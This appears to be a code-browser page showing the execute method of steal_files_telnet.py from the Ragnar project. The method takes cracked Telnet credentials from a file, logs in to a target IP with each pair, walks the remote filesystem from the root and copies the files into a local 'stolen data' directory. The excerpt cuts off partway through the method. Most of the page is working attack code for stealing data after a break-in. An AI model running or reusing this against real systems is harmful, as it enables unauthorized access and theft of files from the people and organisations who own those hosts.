MCPcopy Create free account
hub / github.com/PierreGode/Ragnar / execute

Method execute

actions/steal_files_telnet.py:102–177  ·  view source on GitHub ↗

Steal files from the remote server using Telnet.

(self, ip, port, row, status_key)

Source from the content-addressed store, hash-verified

100 logger.error(f"Error downloading file {remote_file} from Telnet: {e}")
101
102 def execute(self, ip, port, row, status_key):
103 """
104 Steal files from the remote server using Telnet.
105 """
106 try:
107 if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
108 self.shared_data.ragnarorch_status = "StealFilesTelnet"
109 logger.info(f"Stealing files from {ip}:{port}...")
110 # Wait a bit because it's too fast to see the status change
111 time.sleep(5)
112 # Get Telnet credentials from the cracked passwords file
113 telnetfile = self.shared_data.telnetfile
114 credentials = []
115 if os.path.exists(telnetfile):
116 with open(telnetfile, 'r') as f:
117 lines = f.readlines()[1:] # Skip the header
118 for line in lines:
119 parts = line.strip().split(',')
120 if parts[1] == ip:
121 credentials.append((parts[3], parts[4]))
122 logger.info(f"Found {len(credentials)} credentials for {ip}")
123
124 if not credentials:
125 logger.error(f"No valid credentials found for {ip}. Skipping...")
126 return 'failed'
127
128 def timeout():
129 """
130 Timeout function to stop the execution if no Telnet connection is established.
131 """
132 if not self.telnet_connected:
133 logger.error(f"No Telnet connection established within 4 minutes for {ip}. Marking as failed.")
134 self.stop_execution = True
135
136 timer = Timer(240, timeout) # 4 minutes timeout
137 timer.start()
138
139 # Attempt to steal files using each credential
140 success = False
141 for username, password in credentials:
142 if self.stop_execution or self.shared_data.orchestrator_should_exit:
143 logger.info("Steal files execution interrupted due to orchestrator exit.")
144 break
145 try:
146 logger.info(f"Trying credential {username}:{password} for {ip}")
147 tn = self.connect_telnet(ip, username, password)
148 if tn:
149 remote_files = self.find_files(tn, '/')
150 mac = row['MAC Address']
151 local_dir = os.path.join(self.shared_data.datastolendir, f"telnet/{mac}_{ip}")
152 if remote_files:
153 for remote_file in remote_files:
154 if self.stop_execution or self.shared_data.orchestrator_should_exit:
155 logger.info("File stealing process interrupted due to orchestrator exit.")
156 break
157 self.steal_file(tn, remote_file, local_dir)
158 success = True
159 countfiles = len(remote_files)

Callers

nothing calls this directly

Calls 12

connect_telnetMethod · 0.95
find_filesMethod · 0.95
steal_fileMethod · 0.95
infoMethod · 0.80
appendMethod · 0.80
errorMethod · 0.80
successMethod · 0.80
cancelMethod · 0.80
getMethod · 0.45
sleepMethod · 0.45
startMethod · 0.45
closeMethod · 0.45

Tested by

no test coverage detected